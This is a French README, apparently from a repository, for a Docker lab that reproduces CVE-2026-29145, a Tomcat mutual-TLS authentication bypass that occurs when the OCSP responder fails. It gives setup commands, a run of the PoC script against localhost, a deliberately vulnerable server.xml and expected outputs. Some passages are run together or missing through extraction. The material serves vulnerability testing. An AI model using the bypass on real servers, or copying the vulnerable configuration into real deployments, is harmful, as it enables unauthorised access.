
Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.
Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.
La vulnérabilité est un contournement d'authentification dans l'implémentation du TLS mutuel (CLIENT_CERT) d'Apache Tomcat. Lorsque l'OCSP (Online Certificate Status Protocol) est configuré avec l'option soft-fail désactivée, Tomcat peut ne pas traiter un échec de vérification OCSP comme un refus strict. Cela permet à un client disposant d'un certificat potentiellement révoqué ou non vérifié de contourner l'authentification si le répondeur OCSP est injoignable ou renvoie une erreur.
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2026-29145 |
| Score CVSS | 9.1 (Critique) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Impact | Contournement d'authentification |
.ps1Le script run_test.sh automatise l'ensemble du processus : nettoyage, génération de certificats et exécution de tous les scénarios de test (vulnérable, succès et corrigé).
# Naviguer vers le répertoire du projet
cd CVE-2026-29145-Tester
# Rendre les scripts exécutables
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Installer les dépendances Python (si poc_exploit.py les requiert)
pip install -r requirements.txt
# Exécuter la suite de tests complète
./run_test.sh
Sur Linux/macOS :
./setup_certs.sh
Sur Windows (PowerShell) :
.\setup_certs.ps1
Ce que cela fait :
http://localhost:8888Sortie attendue :
[INFO] Démarrage de la génération de certificats pour l'environnement de test CVE-2026-29145
[INFO] OpenSSL trouvé : OpenSSL 3.0.x (...)
[INFO] Répertoire certs créé
[INFO] Génération de l'AC racine...
[INFO] Génération du certificat serveur...
[INFO] Génération du certificat client avec extension OCSP...
[INFO] Configuration des certificats terminée avec succès !
docker-compose up -d
Ce que cela fait :
Vérifier que les conteneurs sont en cours d'exécution :
docker-compose ps
python poc_exploit.py
Sorties attendues :
Système vulnérable :
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[WARNING] VULNÉRABLE : Accès accordé malgré l'échec de la vérification OCSP.
[WARNING] Aperçu de la réponse : <html>...
Système corrigé :
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[INFO] NON VULNÉRABLE : Accès refusé (authentification fonctionnelle).
| Scénario | Statut OCSP | Attendu (Corrigé) | Résultat (Vulnérable) | Notes |
|---|---|---|---|---|
| Fonctionnement normal | En ligne et valide | 200 OK ✓ | 200 OK ✓ | La vérification OCSP réussit, accès accordé |
| Échec logiciel | Hors ligne/Délai dépassé | 403 Interdit ✓ | 200 OK ✗ | CONTOURNEMENT - Répondeur OCSP injoignable |
| Révocation stricte | En ligne et révoqué | 403 Interdit ✓ | 403 Interdit ✓ | Certificat explicitement révoqué |
| Certificat invalide | Chaîne invalide | 403 Interdit ✓ | 403 Interdit ✓ | La validation de la chaîne échoue |
Test 1 : Par défaut (répondeur OCSP en échec)
# Garder les conteneurs en cours d'exécution
python poc_exploit.py
Test 2 : Arrêter le répondeur OCSP (simuler un délai dépassé)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3 : Test manuel avec curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Ce fichier
├── setup_certs.sh # Script de génération de certificats - Bash (Linux/macOS)
├── setup_certs.ps1 # Script de génération de certificats - PowerShell (Windows)
├── cleanup.sh # Script de nettoyage et de réinitialisation - Bash (Linux/macOS)
├── cleanup.ps1 # Script de nettoyage et de réinitialisation - PowerShell (Windows)
├── run_test.sh # Script de cycle de test complet automatisé
├── docker-compose.yml # Orchestration des services Docker
├── requirements.txt # Dépendances Python
├── poc_exploit.py # Script de test principal (avec journalisation et gestion des erreurs)
├── simple_proxy_fail.py # Répondeur simulé OCSP (avec journalisation détaillée)
├── .gitignore # Règles d'ignorance Git pour les certificats et journaux
├── certs/ # Certificats générés (créés par les scripts setup_certs)
│ ├── ca-chain.pem # Certificat de l'AC racine
│ ├── ca-key.pem # Clé privée de l'AC racine
│ ├── server-cert.pem # Certificat serveur Tomcat
│ ├── server-key.pem # Clé privée du serveur Tomcat
│ ├── client-cert.pem # Certificat client de test
│ └── client-key.pem # Clé privée du client de test
├── tomcat/
│ └── server.xml # Configuration Tomcat vulnérable
└── logs/ # Journaux Tomcat (créés à l'exécution)
Le fichier tomcat/server.xml configure :
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Paramètres clés :
certificateVerification="required" - Applique l'authentification CLIENT_CERTOCSP on - Active la vérification de révocation OCSPLe répondeur simulé OCSP (simple_proxy_fail.py) :
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Cause : La génération des certificats a échoué ou n'a pas été exécutée.